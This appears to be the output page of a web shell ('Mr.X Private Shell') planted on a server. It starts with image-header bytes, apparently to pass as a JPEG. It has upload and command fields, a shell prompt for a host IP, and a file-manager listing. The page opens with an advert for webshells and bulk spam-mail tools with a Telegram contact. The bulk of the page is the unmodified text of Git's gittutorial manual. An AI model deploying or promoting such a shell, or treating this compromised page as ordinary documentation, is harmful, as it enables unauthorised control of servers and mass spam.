����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
gittutorial(7)
==============

NAME
----
gittutorial - A tutorial introduction to Git

SYNOPSIS
--------
[verse]
git *

DESCRIPTION
-----------

This tutorial explains how to import a new project into Git, make
changes to it, and share changes with other developers.

If you are instead primarily interested in using Git to fetch a project,
for example, to test the latest version, you may prefer to start with
the first two chapters of link:user-manual.html[The Git User's Manual].

First, note that you can get documentation for a command such as
`git log --graph` with:

------------------------------------------------
$ man git-log
------------------------------------------------

or:

------------------------------------------------
$ git help log
------------------------------------------------

With the latter, you can use the manual viewer of your choice; see
linkgit:git-help[1] for more information.

It is a good idea to introduce yourself to Git with your name and
public email address before doing any operation.  The easiest
way to do so is:

------------------------------------------------
$ git config --global user.name "Your Name Comes Here"
$ git config --global user.email you@yourdomain.example.com
------------------------------------------------


Importing a new project
-----------------------

Assume you have a tarball `project.tar.gz` with your initial work.  You
can place it under Git revision control as follows.

------------------------------------------------
$ tar xzf project.tar.gz
$ cd project
$ git init
------------------------------------------------

Git will reply

------------------------------------------------
Initialized empty Git repository in .git/
------------------------------------------------

You've now initialized the working directory--you may notice a new
directory created, named `.git`.

Next, tell Git to take a snapshot of the contents of all files under the
current directory (note the `.`), with `git add`:

------------------------------------------------
$ git add .
------------------------------------------------

This snapshot is now stored in a temporary staging area which Git calls
the "index".  You can permanently store the contents of the index in the
repository with `git commit`:

------------------------------------------------
$ git commit
------------------------------------------------

This will prompt you for a commit message.  You've now stored the first
version of your project in Git.

Making changes
--------------

Modify some files, then add their updated contents to the index:

------------------------------------------------
$ git add file1 file2 file3
------------------------------------------------

You are now ready to commit.  You can see what is about to be committed
using `git diff` with the `--cached` option:

------------------------------------------------
$ git diff --cached
------------------------------------------------

(Without `--cached`, `git diff` will show you any changes that
you've made but not yet added to the index.)  You can also get a brief
summary of the situation with `git status`:

------------------------------------------------
$ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)

	modified:   file1
	modified:   file2
	modified:   file3

------------------------------------------------

If you need to make any further adjustments, do so now, and then add any
newly modified content to the index.  Finally, commit your changes with:

------------------------------------------------
$ git commit
------------------------------------------------

This will again prompt you for a message describing the change, and then
record a new version of the project.

Alternatively, instead of running `git add` beforehand, you can use

------------------------------------------------
$ git commit -a
------------------------------------------------

which will automatically notice any modified (but not new) files, add
them to the index, and commit, all in one step.

A note on commit messages: Though not required, it's a good idea to
begin the commit message with a single short (no more than 50
characters) line summarizing the change, followed by a blank line and
then a more thorough description. The text up to the first blank line in
a commit message is treated as the commit title, and that title is used
throughout Git.  For example, linkgit:git-format-patch[1] turns a
commit into email, and it uses the title on the Subject line and the
rest of the commit in the body.

Git tracks content not files
----------------------------

Many revision control systems provide an `add` command that tells the
system to start tracking changes to a new file.  Git's `add` command
does something simpler and more powerful: `git add` is used both for new
and newly modified files, and in both cases it takes a snapshot of the
given files and stages that content in the index, ready for inclusion in
the next commit.

Viewing project history
-----------------------

At any point you can view the history of your changes using

------------------------------------------------
$ git log
------------------------------------------------

If you also want to see complete diffs at each step, use

------------------------------------------------
$ git log -p
------------------------------------------------

Often the overview of the change is useful to get a feel of
each step

------------------------------------------------
$ git log --stat --summary
------------------------------------------------

Managing branches
-----------------

A single Git repository can maintain multiple branches of
development.  To create a new branch named `experimental`, use

------------------------------------------------
$ git branch experimental
------------------------------------------------

If you now run

------------------------------------------------
$ git branch
------------------------------------------------

you'll get a list of all existing branches:

------------------------------------------------
  experimental
* master
------------------------------------------------

The `experimental` branch is the one you just created, and the
`master` branch is a default branch that was created for you
automatically.  The asterisk marks the branch you are currently on;
type

------------------------------------------------
$ git switch experimental
------------------------------------------------

to switch to the `experimental` branch.  Now edit a file, commit the
change, and switch back to the `master` branch:

------------------------------------------------
(edit file)
$ git commit -a
$ git switch master
------------------------------------------------

Check that the change you made is no longer visible, since it was
made on the `experimental` branch and you're back on the `master` branch.

You can make a different change on the `master` branch:

------------------------------------------------
(edit file)
$ git commit -a
------------------------------------------------

at this point the two branches have diverged, with different changes
made in each.  To merge the changes made in `experimental` into `master`, run

------------------------------------------------
$ git merge experimental
------------------------------------------------

If the changes don't conflict, you're done.  If there are conflicts,
markers will be left in the problematic files showing the conflict;

------------------------------------------------
$ git diff
------------------------------------------------

will show this.  Once you've edited the files to resolve the
conflicts,

------------------------------------------------
$ git commit -a
------------------------------------------------

will commit the result of the merge. Finally,

------------------------------------------------
$ gitk
------------------------------------------------

will show a nice graphical representation of the resulting history.

At this point you could delete the `experimental` branch with

------------------------------------------------
$ git branch -d experimental
------------------------------------------------

This command ensures that the changes in the `experimental` branch are
already in the current branch.

If you develop on a branch `crazy-idea`, then regret it, you can always
delete the branch with

-------------------------------------
$ git branch -D crazy-idea
-------------------------------------

Branches are cheap and easy, so this is a good way to try something
out.

Using Git for collaboration
---------------------------

Suppose that Alice has started a new project with a Git repository in
`/home/alice/project`, and that Bob, who has a home directory on the
same machine, wants to contribute.

Bob begins with:

------------------------------------------------
bob$ git clone /home/alice/project myrepo
------------------------------------------------

This creates a new directory `myrepo` containing a clone of Alice's
repository.  The clone is on an equal footing with the original
project, possessing its own copy of the original project's history.

Bob then makes some changes and commits them:

------------------------------------------------
(edit files)
bob$ git commit -a
(repeat as necessary)
------------------------------------------------

When he's ready, he tells Alice to pull changes from the repository
at `/home/bob/myrepo`.  She does this with:

------------------------------------------------
alice$ cd /home/alice/project
alice$ git pull /home/bob/myrepo master
------------------------------------------------

This merges the changes from Bob's `master` branch into Alice's
current branch.  If Alice has made her own changes in the meantime,
then she may need to manually fix any conflicts.

The `pull` command thus performs two operations: it fetches changes
from a remote branch, then merges them into the current branch.

Note that in general, Alice would want her local changes committed before
initiating this `pull`.  If Bob's work conflicts with what Alice did since
their histories forked, Alice will use her working tree and the index to
resolve conflicts, and existing local changes will interfere with the
conflict resolution process (Git will still perform the fetch but will
refuse to merge -- Alice will have to get rid of her local changes in
some way and pull again when this happens).

Alice can peek at what Bob did without merging first, using the `fetch`
command; this allows Alice to inspect what Bob did, using a special
symbol `FETCH_HEAD`, in order to determine if he has anything worth
pulling, like this:

------------------------------------------------
alice$ git fetch /home/bob/myrepo master
alice$ git log -p HEAD..FETCH_HEAD
------------------------------------------------

This operation is safe even if Alice has uncommitted local changes.
The range notation `HEAD..FETCH_HEAD` means "show everything that is reachable
from the `FETCH_HEAD` but exclude anything that is reachable from `HEAD`".
Alice already knows everything that leads to her current state (`HEAD`),
and reviews what Bob has in his state (`FETCH_HEAD`) that she has not
seen with this command.

If Alice wants to visualize what Bob did since their histories forked
she can issue the following command:

------------------------------------------------
$ gitk HEAD..FETCH_HEAD
------------------------------------------------

This uses the same two-dot range notation we saw earlier with `git log`.

Alice may want to view what both of them did since they forked.
She can use three-dot form instead of the two-dot form:

------------------------------------------------
$ gitk HEAD...FETCH_HEAD
------------------------------------------------

This means "show everything that is reachable from either one, but
exclude anything that is reachable from both of them".

Please note that these range notations can be used with both `gitk`
and `git log`.

After inspecting what Bob did, if there is nothing urgent, Alice may
decide to continue working without pulling from Bob.  If Bob's history
does have something Alice would immediately need, Alice may choose to
stash her work-in-progress first, do a `pull`, and then finally unstash
her work-in-progress on top of the resulting history.

When you are working in a small closely knit group, it is not
unusual to interact with the same repository over and over
again.  By defining 'remote' repository shorthand, you can make
it easier:

------------------------------------------------
alice$ git remote add bob /home/bob/myrepo
------------------------------------------------

With this, Alice can perform the first part of the `pull` operation
alone using the `git fetch` command without merging them with her own
branch, using:

-------------------------------------
alice$ git fetch bob
-------------------------------------

Unlike the longhand form, when Alice fetches from Bob using a
remote repository shorthand set up with `git remote`, what was
fetched is stored in a remote-tracking branch, in this case
`bob/master`.  So after this:

-------------------------------------
alice$ git log -p master..bob/master
-------------------------------------

shows a list of all the changes that Bob made since he branched from
Alice's `master` branch.

After examining those changes, Alice
could merge the changes into her `master` branch:

-------------------------------------
alice$ git merge bob/master
-------------------------------------

This `merge` can also be done by 'pulling from her own remote-tracking
branch', like this:

-------------------------------------
alice$ git pull . remotes/bob/master
-------------------------------------

Note that git pull always merges into the current branch,
regardless of what else is given on the command line.

Later, Bob can update his repo with Alice's latest changes using

-------------------------------------
bob$ git pull
-------------------------------------

Note that he doesn't need to give the path to Alice's repository;
when Bob cloned Alice's repository, Git stored the location of her
repository in the repository configuration, and that location is
used for pulls:

-------------------------------------
bob$ git config --get remote.origin.url
/home/alice/project
-------------------------------------

(The complete configuration created by `git clone` is visible using
`git config -l`, and the linkgit:git-config[1] man page
explains the meaning of each option.)

Git also keeps a pristine copy of Alice's `master` branch under the
name `origin/master`:

-------------------------------------
bob$ git branch -r
  origin/master
-------------------------------------

If Bob later decides to work from a different host, he can still
perform clones and pulls using the ssh protocol:

-------------------------------------
bob$ git clone alice.org:/home/alice/project myrepo
-------------------------------------

Alternatively, Git has a native protocol, or can use http;
see linkgit:git-pull[1] for details.

Git can also be used in a CVS-like mode, with a central repository
that various users push changes to; see linkgit:git-push[1] and
linkgit:gitcvs-migration[7].

Exploring history
-----------------

Git history is represented as a series of interrelated commits.  We
have already seen that the `git log` command can list those commits.
Note that first line of each `git log` entry also gives a name for the
commit:

-------------------------------------
$ git log
commit c82a22c39cbc32576f64f5c6b3f24b99ea8149c7
Author: Junio C Hamano <junkio@cox.net>
Date:   Tue May 16 17:18:22 2006 -0700

    merge-base: Clarify the comments on post processing.
-------------------------------------

We can give this name to `git show` to see the details about this
commit.

-------------------------------------
$ git show c82a22c39cbc32576f64f5c6b3f24b99ea8149c7
-------------------------------------

But there are other ways to refer to commits.  You can use any initial
part of the name that is long enough to uniquely identify the commit:

-------------------------------------
$ git show c82a22c39c	# the first few characters of the name are
			# usually enough
$ git show HEAD		# the tip of the current branch
$ git show experimental	# the tip of the "experimental" branch
-------------------------------------

Every commit usually has one "parent" commit
which points to the previous state of the project:

-------------------------------------
$ git show HEAD^  # to see the parent of HEAD
$ git show HEAD^^ # to see the grandparent of HEAD
$ git show HEAD~4 # to see the great-great grandparent of HEAD
-------------------------------------

Note that merge commits may have more than one parent:

-------------------------------------
$ git show HEAD^1 # show the first parent of HEAD (same as HEAD^)
$ git show HEAD^2 # show the second parent of HEAD
-------------------------------------

You can also give commits names of your own; after running

-------------------------------------
$ git tag v2.5 1b2e1d63ff
-------------------------------------

you can refer to `1b2e1d63ff` by the name `v2.5`.  If you intend to
share this name with other people (for example, to identify a release
version), you should create a "tag" object, and perhaps sign it; see
linkgit:git-tag[1] for details.

Any Git command that needs to know a commit can take any of these
names.  For example:

-------------------------------------
$ git diff v2.5 HEAD	 # compare the current HEAD to v2.5
$ git branch stable v2.5 # start a new branch named "stable" based
			 # at v2.5
$ git reset --hard HEAD^ # reset your current branch and working
			 # directory to its state at HEAD^
-------------------------------------

Be careful with that last command: in addition to losing any changes
in the working directory, it will also remove all later commits from
this branch.  If this branch is the only branch containing those
commits, they will be lost.  Also, don't use `git reset` on a
publicly-visible branch that other developers pull from, as it will
force needless merges on other developers to clean up the history.
If you need to undo changes that you have pushed, use `git revert`
instead.

The `git grep` command can search for strings in any version of your
project, so

-------------------------------------
$ git grep "hello" v2.5
-------------------------------------

searches for all occurrences of "hello" in `v2.5`.

If you leave out the commit name, `git grep` will search any of the
files it manages in your current directory.  So

-------------------------------------
$ git grep "hello"
-------------------------------------

is a quick way to search just the files that are tracked by Git.

Many Git commands also take sets of commits, which can be specified
in a number of ways.  Here are some examples with `git log`:

-------------------------------------
$ git log v2.5..v2.6            # commits between v2.5 and v2.6
$ git log v2.5..                # commits since v2.5
$ git log --since="2 weeks ago" # commits from the last 2 weeks
$ git log v2.5.. Makefile       # commits since v2.5 which modify
				# Makefile
-------------------------------------

You can also give `git log` a "range" of commits where the first is not
necessarily an ancestor of the second; for example, if the tips of
the branches `stable` and `master` diverged from a common
commit some time ago, then

-------------------------------------
$ git log stable..master
-------------------------------------

will list commits made in the `master` branch but not in the
stable branch, while

-------------------------------------
$ git log master..stable
-------------------------------------

will show the list of commits made on the stable branch but not
the `master` branch.

The `git log` command has a weakness: it must present commits in a
list.  When the history has lines of development that diverged and
then merged back together, the order in which `git log` presents
those commits is meaningless.

Most projects with multiple contributors (such as the Linux kernel,
or Git itself) have frequent merges, and `gitk` does a better job of
visualizing their history.  For example,

-------------------------------------
$ gitk --since="2 weeks ago" drivers/
-------------------------------------

allows you to browse any commits from the last 2 weeks of commits
that modified files under the `drivers` directory.  (Note: you can
adjust gitk's fonts by holding down the control key while pressing
"-" or "+".)

Finally, most commands that take filenames will optionally allow you
to precede any filename by a commit, to specify a particular version
of the file:

-------------------------------------
$ git diff v2.5:Makefile HEAD:Makefile.in
-------------------------------------

You can also use `git show` to see any such file:

-------------------------------------
$ git show v2.5:Makefile
-------------------------------------

Next Steps
----------

This tutorial should be enough to perform basic distributed revision
control for your projects.  However, to fully understand the depth
and power of Git you need to understand two simple ideas on which it
is based:

  * The object database is the rather elegant system used to
    store the history of your project--files, directories, and
    commits.

  * The index file is a cache of the state of a directory tree,
    used to create commits, check out working directories, and
    hold the various trees involved in a merge.

Part two of this tutorial explains the object
database, the index file, and a few other odds and ends that you'll
need to make the most of Git. You can find it at linkgit:gittutorial-2[7].

If you don't want to continue with that right away, a few other
digressions that may be interesting at this point are:

  * linkgit:git-format-patch[1], linkgit:git-am[1]: These convert
    series of git commits into emailed patches, and vice versa,
    useful for projects such as the Linux kernel which rely heavily
    on emailed patches.

  * linkgit:git-bisect[1]: When there is a regression in your
    project, one way to track down the bug is by searching through
    the history to find the exact commit that's to blame.  `git bisect`
    can help you perform a binary search for that commit.  It is
    smart enough to perform a close-to-optimal search even in the
    case of complex non-linear history with lots of merged branches.

  * linkgit:gitworkflows[7]: Gives an overview of recommended
    workflows.

  * linkgit:giteveryday[7]: Everyday Git with 20 Commands Or So.

  * linkgit:gitcvs-migration[7]: Git for CVS users.

SEE ALSO
--------
linkgit:gittutorial-2[7],
linkgit:gitcvs-migration[7],
linkgit:gitcore-tutorial[7],
linkgit:gitglossary[7],
linkgit:git-help[1],
linkgit:gitworkflows[7],
linkgit:giteveryday[7],
link:user-manual.html[The Git User's Manual]

GIT
---
Part of the linkgit:git[1] suite

Filemanager

Name Type Size Permission Actions
RelNotes Folder 0755
contrib Folder 0755
howto Folder 0755
technical Folder 0755
BreakingChanges.adoc File 16.64 KB 0644
BreakingChanges.html File 49.87 KB 0644
CODE_OF_CONDUCT.md File 5.85 KB 0644
DecisionMaking.adoc File 3.77 KB 0644
DecisionMaking.html File 34.35 KB 0644
MyFirstContribution.adoc File 55.2 KB 0644
MyFirstContribution.html File 106.17 KB 0644
MyFirstObjectWalk.adoc File 28.88 KB 0644
MyFirstObjectWalk.html File 73.09 KB 0644
README.md File 3.58 KB 0644
ReviewingGuidelines.adoc File 8.69 KB 0644
ReviewingGuidelines.html File 40.35 KB 0644
SubmittingPatches.adoc File 38.07 KB 0644
SubmittingPatches.html File 78.92 KB 0644
ToolsForGit.adoc File 1.32 KB 0644
ToolsForGit.html File 32.47 KB 0644
blame-options.adoc File 5.96 KB 0644
cmds-ancillaryinterrogators.adoc File 1.26 KB 0644
cmds-ancillarymanipulators.adoc File 796 B 0644
cmds-developerinterfaces.adoc File 678 B 0644
cmds-foreignscminterface.adoc File 399 B 0644
cmds-guide.adoc File 833 B 0644
cmds-mainporcelain.adoc File 3.01 KB 0644
cmds-plumbinginterrogators.adoc File 1.73 KB 0644
cmds-plumbingmanipulators.adoc File 1.47 KB 0644
cmds-purehelpers.adoc File 1.24 KB 0644
cmds-synchelpers.adoc File 449 B 0644
cmds-synchingrepositories.adoc File 397 B 0644
cmds-userinterfaces.adoc File 507 B 0644
config.adoc File 18.27 KB 0644
date-formats.adoc File 1.14 KB 0644
diff-context-options.adoc File 372 B 0644
diff-format.adoc File 6.44 KB 0644
diff-generate-patch.adoc File 7.02 KB 0644
diff-options.adoc File 33.21 KB 0644
docbook-xsl.css File 4.45 KB 0644
docinfo.html File 50 B 0644
everyday.html File 30.27 KB 0644
fetch-options.adoc File 12.36 KB 0644
for-each-ref-options.adoc File 3.02 KB 0644
fsck-msgids.adoc File 6.37 KB 0644
git-add.adoc File 15.64 KB 0644
git-add.html File 53.06 KB 0644
git-am.adoc File 9.39 KB 0644
git-am.html File 45.37 KB 0644
git-annotate.adoc File 772 B 0644
git-annotate.html File 40.83 KB 0644
git-apply.adoc File 10.89 KB 0644
git-apply.html File 45.13 KB 0644
git-archive.adoc File 8.27 KB 0644
git-archive.html File 42.43 KB 0644
git-backfill.adoc File 2.52 KB 0644
git-backfill.html File 33.77 KB 0644
git-bisect-lk2009.adoc File 48.53 KB 0644
git-bisect-lk2009.html File 91.41 KB 0644
git-bisect.adoc File 17.77 KB 0644
git-bisect.html File 53.82 KB 0644
git-blame.adoc File 8.66 KB 0644
git-blame.html File 53.85 KB 0644
git-branch.adoc File 15.67 KB 0644
git-branch.html File 62.71 KB 0644
git-bugreport.adoc File 2.51 KB 0644
git-bugreport.html File 33.75 KB 0644
git-bundle.adoc File 13 KB 0644
git-bundle.html File 47.71 KB 0644
git-cat-file.adoc File 14.66 KB 0644
git-cat-file.html File 51.94 KB 0644
git-check-attr.adoc File 3.32 KB 0644
git-check-attr.html File 35.31 KB 0644
git-check-ignore.adoc File 4.06 KB 0644
git-check-ignore.html File 36.04 KB 0644
git-check-mailmap.adoc File 1.54 KB 0644
git-check-mailmap.html File 32.63 KB 0644
git-check-ref-format.adoc File 4.93 KB 0644
git-check-ref-format.html File 36.9 KB 0644
git-checkout-index.adoc File 5.54 KB 0644
git-checkout-index.html File 38 KB 0644
git-checkout.adoc File 21.72 KB 0644
git-checkout.html File 66.35 KB 0644
git-cherry-pick.adoc File 8.97 KB 0644
git-cherry-pick.html File 43.87 KB 0644
git-cherry.adoc File 3.53 KB 0644
git-cherry.html File 35.42 KB 0644
git-clean.adoc File 4.63 KB 0644
git-clean.html File 36.81 KB 0644
git-clone.adoc File 15.88 KB 0644
git-clone.html File 60.38 KB 0644
git-column.adoc File 2.15 KB 0644
git-column.html File 35.98 KB 0644
git-commit-graph.adoc File 5.89 KB 0644
git-commit-graph.html File 41.03 KB 0644
git-commit-tree.adoc File 2.65 KB 0644
git-commit-tree.html File 39.44 KB 0644
git-commit.adoc File 21.16 KB 0644
git-commit.html File 70.5 KB 0644
git-config.adoc File 20.88 KB 0644
git-config.html File 445.55 KB 0644
git-contacts.adoc File 2.52 KB 0644
git-contacts.html File 33.92 KB 0644
git-count-objects.adoc File 1.35 KB 0644
git-count-objects.html File 32.25 KB 0644
git-credential-cache--daemon.adoc File 891 B 0644
git-credential-cache--daemon.html File 31.46 KB 0644
git-credential-cache.adoc File 3.12 KB 0644
git-credential-cache.html File 34.16 KB 0644
git-credential-store.adoc File 3.55 KB 0644
git-credential-store.html File 35.03 KB 0644
git-credential.adoc File 11.95 KB 0644
git-credential.html File 45.38 KB 0644
git-describe.adoc File 8.12 KB 0644
git-describe.html File 40.6 KB 0644
git-diagnose.adoc File 2.16 KB 0644
git-diagnose.html File 33.22 KB 0644
git-diff-files.adoc File 1.2 KB 0644
git-diff-files.html File 92.09 KB 0644
git-diff-index.adoc File 4.7 KB 0644
git-diff-index.html File 97.13 KB 0644
git-diff-pairs.adoc File 1.96 KB 0644
git-diff-pairs.html File 83.75 KB 0644
git-diff-tree.adoc File 4.09 KB 0644
git-diff-tree.html File 126.96 KB 0644
git-diff.adoc File 8.28 KB 0644
git-diff.html File 119.69 KB 0644
git-difftool.adoc File 4.49 KB 0644
git-difftool.html File 42.05 KB 0644
git-fast-export.adoc File 12.37 KB 0644
git-fast-export.html File 45.54 KB 0644
git-fast-import.adoc File 61.52 KB 0644
git-fast-import.html File 114.47 KB 0644
git-fetch-pack.adoc File 4.14 KB 0644
git-fetch-pack.html File 35.78 KB 0644
git-fetch.adoc File 11.54 KB 0644
git-fetch.html File 88.96 KB 0644
git-filter-branch.adoc File 30.3 KB 0644
git-filter-branch.html File 65.75 KB 0644
git-fmt-merge-msg.adoc File 1.9 KB 0644
git-fmt-merge-msg.html File 34.3 KB 0644
git-for-each-ref.adoc File 15.81 KB 0644
git-for-each-ref.html File 60.05 KB 0644
git-for-each-repo.adoc File 1.9 KB 0644
git-for-each-repo.html File 33.09 KB 0644
git-format-patch.adoc File 29.21 KB 0644
git-format-patch.html File 94.24 KB 0644
git-fsck-objects.adoc File 354 B 0644
git-fsck-objects.html File 30.7 KB 0644
git-fsck.adoc File 5.99 KB 0644
git-fsck.html File 53.52 KB 0644
git-fsmonitor--daemon.adoc File 3.53 KB 0644
git-fsmonitor--daemon.html File 35.9 KB 0644
git-gc.adoc File 6.59 KB 0644
git-gc.html File 49.01 KB 0644
git-get-tar-commit-id.adoc File 753 B 0644
git-get-tar-commit-id.html File 31.12 KB 0644
git-grep.adoc File 11.05 KB 0644
git-grep.html File 47.94 KB 0644
git-hash-object.adoc File 2.09 KB 0644
git-hash-object.html File 32.91 KB 0644
git-help.adoc File 7.35 KB 0644
git-help.html File 40.88 KB 0644
git-hook.adoc File 1 KB 0644
git-hook.html File 31.95 KB 0644
git-http-backend.adoc File 11.36 KB 0644
git-http-backend.html File 43.53 KB 0644
git-http-fetch.adoc File 1.74 KB 0644
git-http-fetch.html File 32.71 KB 0644
git-http-push.adoc File 2.92 KB 0644
git-http-push.html File 34.32 KB 0644
git-imap-send.adoc File 6.46 KB 0644
git-imap-send.html File 42.43 KB 0644
git-index-pack.adoc File 6.15 KB 0644
git-index-pack.html File 38.61 KB 0644
git-init-db.adoc File 409 B 0644
git-init-db.html File 30.76 KB 0644
git-init.adoc File 6.08 KB 0644
git-init.html File 41.3 KB 0644
git-interpret-trailers.adoc File 12.54 KB 0644
git-interpret-trailers.html File 53.71 KB 0644
git-last-modified.adoc File 1.33 KB 0644
git-last-modified.html File 32.41 KB 0644
git-log.adoc File 6.79 KB 0644
git-log.html File 191.76 KB 0644
git-ls-files.adoc File 11.83 KB 0644
git-ls-files.html File 47 KB 0644
git-ls-remote.adoc File 5.01 KB 0644
git-ls-remote.html File 37.24 KB 0644
git-ls-tree.adoc File 5.39 KB 0644
git-ls-tree.html File 38.16 KB 0644
git-mailinfo.adoc File 3.78 KB 0644
git-mailinfo.html File 36.02 KB 0644
git-mailsplit.adoc File 1.31 KB 0644
git-mailsplit.html File 32.31 KB 0644
git-maintenance.adoc File 19.28 KB 0644
git-maintenance.html File 64.48 KB 0644
git-merge-base.adoc File 7.58 KB 0644
git-merge-base.html File 41.4 KB 0644
git-merge-file.adoc File 3.98 KB 0644
git-merge-file.html File 36.22 KB 0644
git-merge-index.adoc File 2.39 KB 0644
git-merge-index.html File 33.51 KB 0644
git-merge-one-file.adoc File 387 B 0644
git-merge-one-file.html File 30.72 KB 0644
git-merge-tree.adoc File 12.62 KB 0644
git-merge-tree.html File 47.06 KB 0644
git-merge.adoc File 14.79 KB 0644
git-merge.html File 83.48 KB 0644
git-mergetool--lib.adoc File 1.43 KB 0644
git-mergetool--lib.html File 32.23 KB 0644
git-mergetool.adoc File 4.41 KB 0644
git-mergetool.html File 53.3 KB 0644
git-mktag.adoc File 1.74 KB 0644
git-mktag.html File 33.01 KB 0644
git-mktree.adoc File 1.05 KB 0644
git-mktree.html File 31.64 KB 0644
git-multi-pack-index.adoc File 5.03 KB 0644
git-multi-pack-index.html File 37 KB 0644
git-mv.adoc File 2.04 KB 0644
git-mv.html File 33.39 KB 0644
git-name-rev.adoc File 3.27 KB 0644
git-name-rev.html File 34.5 KB 0644
git-notes.adoc File 14 KB 0644
git-notes.html File 56.05 KB 0644
git-pack-objects.adoc File 21.46 KB 0644
git-pack-objects.html File 56.16 KB 0644
git-pack-redundant.adoc File 1.83 KB 0644
git-pack-redundant.html File 33.01 KB 0644
git-pack-refs.adoc File 1.66 KB 0644
git-pack-refs.html File 35.09 KB 0644
git-patch-id.adoc File 2.37 KB 0644
git-patch-id.html File 33.47 KB 0644
git-prune-packed.adoc File 946 B 0644
git-prune-packed.html File 31.75 KB 0644
git-prune.adoc File 1.87 KB 0644
git-prune.html File 33.37 KB 0644
git-pull.adoc File 7.7 KB 0644
git-pull.html File 90.41 KB 0644
git-push.adoc File 28.59 KB 0644
git-push.html File 90 KB 0644
git-quiltimport.adoc File 1.65 KB 0644
git-quiltimport.html File 32.57 KB 0644
git-range-diff.adoc File 10.72 KB 0644
git-range-diff.html File 45.43 KB 0644
git-read-tree.adoc File 16.52 KB 0644
git-read-tree.html File 51.16 KB 0644
git-rebase.adoc File 45.65 KB 0644
git-rebase.html File 106.94 KB 0644
git-receive-pack.adoc File 9.98 KB 0644
git-receive-pack.html File 43.53 KB 0644
git-reflog.adoc File 5.52 KB 0644
git-reflog.html File 38.51 KB 0644
git-refs.adoc File 3.22 KB 0644
git-refs.html File 43.37 KB 0644
git-remote-ext.adoc File 3.88 KB 0644
git-remote-ext.html File 35.66 KB 0644
git-remote-fd.adoc File 1.59 KB 0644
git-remote-fd.html File 32.82 KB 0644
git-remote-helpers.html File 30.25 KB 0644
git-remote.adoc File 8.56 KB 0644
git-remote.html File 43.07 KB 0644
git-repack.adoc File 11.2 KB 0644
git-repack.html File 45.04 KB 0644
git-replace.adoc File 5.09 KB 0644
git-replace.html File 37.54 KB 0644
git-replay.adoc File 4.29 KB 0644
git-replay.html File 90.78 KB 0644
git-repo.adoc File 3.36 KB 0644
git-repo.html File 35.99 KB 0644
git-request-pull.adoc File 1.99 KB 0644
git-request-pull.html File 33.35 KB 0644
git-rerere.adoc File 7.6 KB 0644
git-rerere.html File 39.92 KB 0644
git-reset.adoc File 18.78 KB 0644
git-reset.html File 57.85 KB 0644
git-restore.adoc File 6.9 KB 0644
git-restore.html File 41.63 KB 0644
git-rev-list.adoc File 3.15 KB 0644
git-rev-list.html File 129.4 KB 0644
git-rev-parse.adoc File 16.64 KB 0644
git-rev-parse.html File 74.9 KB 0644
git-revert.adoc File 5.3 KB 0644
git-revert.html File 39.11 KB 0644
git-rm.adoc File 7.11 KB 0644
git-rm.html File 40.73 KB 0644
git-send-pack.adoc File 5.05 KB 0644
git-send-pack.html File 37.18 KB 0644
git-sh-i18n--envsubst.adoc File 928 B 0644
git-sh-i18n--envsubst.html File 31.46 KB 0644
git-sh-i18n.adoc File 1.12 KB 0644
git-sh-i18n.html File 31.79 KB 0644
git-sh-setup.adoc File 2.91 KB 0644
git-sh-setup.html File 34.1 KB 0644
git-shell.adoc File 2.91 KB 0644
git-shell.html File 34.49 KB 0644
git-shortlog.adoc File 4.31 KB 0644
git-shortlog.html File 75.95 KB 0644
git-show-branch.adoc File 6.44 KB 0644
git-show-branch.html File 39.05 KB 0644
git-show-index.adoc File 1.46 KB 0644
git-show-index.html File 32.71 KB 0644
git-show-ref.adoc File 6.6 KB 0644
git-show-ref.html File 38.82 KB 0644
git-show.adoc File 1.89 KB 0644
git-show.html File 122.94 KB 0644
git-sparse-checkout.adoc File 22.22 KB 0644
git-sparse-checkout.html File 58.47 KB 0644
git-stage.adoc File 299 B 0644
git-stage.html File 30.65 KB 0644
git-stash.adoc File 15.76 KB 0644
git-stash.html File 55 KB 0644
git-status.adoc File 19.9 KB 0644
git-status.html File 57.21 KB 0644
git-stripspace.adoc File 1.92 KB 0644
git-stripspace.html File 33.1 KB 0644
git-submodule.adoc File 21.1 KB 0644
git-submodule.html File 57.83 KB 0644
git-switch.adoc File 8.69 KB 0644
git-switch.html File 46.37 KB 0644
git-symbolic-ref.adoc File 2.32 KB 0644
git-symbolic-ref.html File 33.72 KB 0644
git-tag.adoc File 14.63 KB 0644
git-tag.html File 55.53 KB 0644
git-tools.adoc File 422 B 0644
git-tools.html File 30.48 KB 0644
git-unpack-file.adoc File 434 B 0644
git-unpack-file.html File 30.91 KB 0644
git-unpack-objects.adoc File 1.19 KB 0644
git-unpack-objects.html File 31.94 KB 0644
git-update-index.adoc File 23.48 KB 0644
git-update-index.html File 61.22 KB 0644
git-update-ref.adoc File 7.43 KB 0644
git-update-ref.html File 40.78 KB 0644
git-update-server-info.adoc File 801 B 0644
git-update-server-info.html File 31.48 KB 0644
git-upload-archive.adoc File 2.04 KB 0644
git-upload-archive.html File 33.03 KB 0644
git-upload-pack.adoc File 2.94 KB 0644
git-upload-pack.html File 34.59 KB 0644
git-var.adoc File 3.07 KB 0644
git-var.html File 34.64 KB 0644
git-verify-commit.adoc File 573 B 0644
git-verify-commit.html File 31.24 KB 0644
git-verify-pack.adoc File 1.05 KB 0644
git-verify-pack.html File 32.14 KB 0644
git-verify-tag.adoc File 564 B 0644
git-verify-tag.html File 31.25 KB 0644
git-version.adoc File 1.01 KB 0644
git-version.html File 31.72 KB 0644
git-web--browse.adoc File 3.49 KB 0644
git-web--browse.html File 35.36 KB 0644
git-whatchanged.adoc File 1.27 KB 0644
git-whatchanged.html File 32.38 KB 0644
git-worktree.adoc File 21.01 KB 0644
git-worktree.html File 61.82 KB 0644
git-write-tree.adoc File 1.01 KB 0644
git-write-tree.html File 31.81 KB 0644
